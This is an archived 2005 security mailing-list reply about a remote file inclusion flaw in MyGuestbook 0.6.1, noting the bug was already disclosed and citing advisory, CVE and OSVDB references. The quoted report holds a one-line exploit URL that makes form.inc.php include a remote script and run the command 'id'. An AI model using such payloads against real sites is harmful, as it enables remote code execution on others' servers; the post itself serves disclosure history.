[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: Remote File Inclusion in MyGuestbook
- To: rod hedor <rodhedor@xxxxxxxxxxx>
- Subject: Re: Remote File Inclusion in MyGuestbook
- From: security curmudgeon <jericho@xxxxxxxxxxxxx>
- Date: Fri, 23 Sep 2005 04:00:04 -0400 (EDT)
: Remote File Inclusion in MyGuestbook
:
: version: 0.6.1
:
: Exploit :
: http://server/Guestbook/form.inc.ph...cmd.gif?&cmd=id
:
: Discovery by RoDheDoR
This was discovered/posted on July 5 by SoulBlack Security Research:
http://archives.neohapsis.com/archives/bugtraq/2005-07/0040.html
http://www.soulblack.com.ar/repo/papers/advisory/myguestbook_advisory.txt
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2162
http://osvdb.org/17750